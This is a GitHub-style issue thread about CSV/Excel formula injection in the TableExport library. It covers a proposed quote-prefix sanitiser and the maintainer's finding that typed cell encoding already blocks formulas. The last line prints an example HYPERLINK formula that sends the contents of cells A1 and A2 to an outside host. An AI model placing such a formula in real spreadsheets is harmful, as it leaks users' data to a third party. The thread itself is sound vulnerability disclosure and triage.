Security issue with Excel Macro Injection attacks

[kentarokinebuchi]

Please see:

https://www.owasp.org/index.php/CSV_Excel_Macro_Injection

TableExport should escape formula content to prevent Excel Macro Injection attacks

[clarketm]

@kentarokinebuchi – Do you have any suggestions at the code-level to protect against this threat?

[kentarokinebuchi]

According to the documents any cell containing a formula needs to be prepended with a single quote so that Excel no longer treats the content as a formula. This can be done in several places in the code, for example the function formatValue could modified to:

        formatValue: function (isTrimWhitespace, string) {
            var val = isTrimWhitespace ? string.trim() : string;
            if (val.indexOf('=') === 0 ||
                val.indexOf('@') === 0 ||
                val.indexOf('+') === 0 ||
                val.indexOf('-') === 0)
            {
                val = "'" + val;
         }
             return val;
        },

[kentarokinebuchi]

Hi, any updates?

[clarketm]

@kentarokinebuchi – I do see the risk of CSV Excel Macro Injection with the current distribution of TableExport. That being said, the attack vector is limited since the CSV parsing/construction is done client-side at runtime and cached locally in SessionStorage; furthermore, CSV/Excel files wouldn't be persisted or shared beyond the session. Really, the threat is from publishers who (either purposely or unknowingly) allow some form of upload that gets persisted and later used to reconstruct the table for other users to download. In practice, this should never be done without adequate server-side validation and is beyond the scope of TableExport. Either way, every layer of security helps and I'd rather err on the side of caution!

TLDR – cell values should be fully escaped to avoid this potential vulnerability.

Your proposal should work fine to combat formula injection. I would appreciate a pull request if you have time. Otherwise, I can rectify this in the next patch release. Thanks for your help!

[clarketm]

UPDATE

@kentarokinebuchi – in all my attempts to reproduce, I have discovered that the createSheet method is adequately escaping data types as either number, boolean, date, or string based on the conditions that I have specified in the typeConfig falling back to string as the default. In my experiments, formulas are not being interpreted, regardless of whether or not they begin with a '=', '@', '+', or '-' due to these type specifications, which under the hood utilize the js-xlsx library which encodes the cell value switching on type.

According to my tests, in addition to what is delineated in the js-xlsx Cell Object docs, the use of cell.f is necessary to encode and interpret cell formula.

At the moment, TableExport does not support a method to set the f property on a cell.

e.g.

cell.f = '=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")'